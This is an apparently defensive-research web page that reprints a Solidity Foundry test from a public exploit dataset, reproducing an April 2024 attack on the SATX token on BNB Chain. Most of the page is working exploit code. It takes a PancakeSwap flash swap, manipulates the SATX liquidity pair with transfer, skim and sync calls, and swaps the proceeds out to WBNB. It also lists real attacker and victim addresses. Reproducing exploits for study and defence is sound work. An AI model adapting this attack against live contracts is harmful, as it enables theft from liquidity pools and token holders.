Public reproduction file

src/test/2024-04/SATX_exp.sol

Public reproduction file for dataset entry SATX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/SATX_exp.sol81 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~999M US$
8// Attacker : 0xBEF24B94C205999ea17d2ae4941cE849C9114bfd
9// Attack Contract : 0x9C63d6328C8e989c99b8e01DE6825e998778B103
10// Vulnerable Contract : 0xFd80a436dA2F4f4C42a5dBFA397064CfEB7D9508
11// Attack Tx : https://bscscan.com/tx/0x7e02ee7242a672fb84458d12198fae4122d7029ba64f3673e7800d811a8de93f
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0xfd80a436da2f4f4c42a5dbfa397064cfeb7d9508#code
14 
15contract ContractTest is Test {
16    address public attacker = address(this);
17    IERC20 constant SATX = IERC20(0xFd80a436dA2F4f4C42a5dBFA397064CfEB7D9508);
18    IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
19    IPancakePair pair_WBNB_SATX = IPancakePair(0x927d7adF1Bcee0Fa1da868d2d43417Ca7c6577D4);
20    IPancakePair pair_WBNB_CAKE = IPancakePair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
21    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
22 
23    function setUp() public {
24        vm.createSelectFork("bsc", 37_914_434 - 1);
25        vm.label(address(SATX), "SATX");
26        vm.label(address(WBNB), "WBNB");
27        vm.label(address(router), "PancakeSwap Router");
28        vm.label(address(pair_WBNB_SATX), "pair_WBNB_SATX");
29        vm.label(address(pair_WBNB_CAKE), "pair_WBNB_CAKE");
30    }
31 
32    function approveAll() public {
33        SATX.approve(address(router), type(uint256).max);
34        WBNB.approve(address(router), type(uint256).max);
35    }
36 
37    function testExploit() public {
38        deal(attacker, 0.900000001 ether);
39        WBNB.deposit{value: 0.9 ether}();
40        approveAll();
41        address[] memory path = new address[](2);
42        path[0] = address(WBNB);
43        path[1] = address(SATX);
44        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
45            1_000_000_000_000_000, 0, path, attacker, type(uint256).max
46        );
47        uint256 SATX_amount = SATX.balanceOf(attacker);
48        router.addLiquidity(
49            address(WBNB), address(SATX), 1_000_000_000_000_000, SATX_amount, 0, 0, attacker, type(uint256).max
50        );
51        pair_WBNB_CAKE.swap(0, 60_000_000_000_000_000_000, attacker, bytes("1"));
52 
53        uint256 WBNB_amount = WBNB.balanceOf(attacker);
54        WBNB.withdraw(WBNB_amount);
55    }
56 
57    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
58        if (msg.sender == address(pair_WBNB_CAKE)) {
59            uint256 SATX_amount = SATX.balanceOf(address(pair_WBNB_SATX));
60            pair_WBNB_SATX.swap(100_000_000_000_000, SATX_amount / 2, attacker, data);
61 
62            uint256 SATX_amount_1 = SATX.balanceOf(attacker);
63            SATX.transfer(address(pair_WBNB_SATX), SATX_amount_1);
64            pair_WBNB_SATX.skim(attacker);
65            pair_WBNB_SATX.sync();
66            WBNB.transfer(address(pair_WBNB_SATX), 100_000_000_000_000);
67            uint256 SATX_amount_2 = SATX.balanceOf(attacker);
68            address[] memory path = new address[](2);
69            path[0] = address(SATX);
70            path[1] = address(WBNB);
71            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
72                SATX_amount_2, 0, path, attacker, type(uint256).max
73            );
74            WBNB.transfer(address(pair_WBNB_CAKE), 60_150_600_000_000_000_000);
75        } else if (msg.sender == address(pair_WBNB_SATX)) {
76            WBNB.transfer(address(pair_WBNB_SATX), 52_000_000_000_000_000_000);
77        }
78    }
79 
80    fallback() external payable {}
81}

Analysis

Dataset entry

Public Foundry test for “SATX” (2024-04-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xbef24b94c205999ea17d2ae4941ce849c9114bfd
Attack Contract
0x9c63d6328c8e989c99b8e01de6825e998778b103
Vulnerable Contract
0xfd80a436da2f4f4c42a5dbfa397064cfeb7d9508

Attack Tx
0x7e02ee7242a672fb84458d12198fae4122d7029ba64f3673e7800d811a8de93f

Explorer: https://bscscan.com/address/0xfd80a436da2f4f4c42a5dbfa397064cfeb7d9508#code

File record

Name: SATX
Path: src/test/2024-04/SATX_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 49a83865c71c998fa46de9883e0998aaf0b446be
Language: Solidity
Size: 82 lines
Date: 2024-04-16
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-04/SATX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 49a83865c71c998fa46de9883e0998aaf0b446be, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.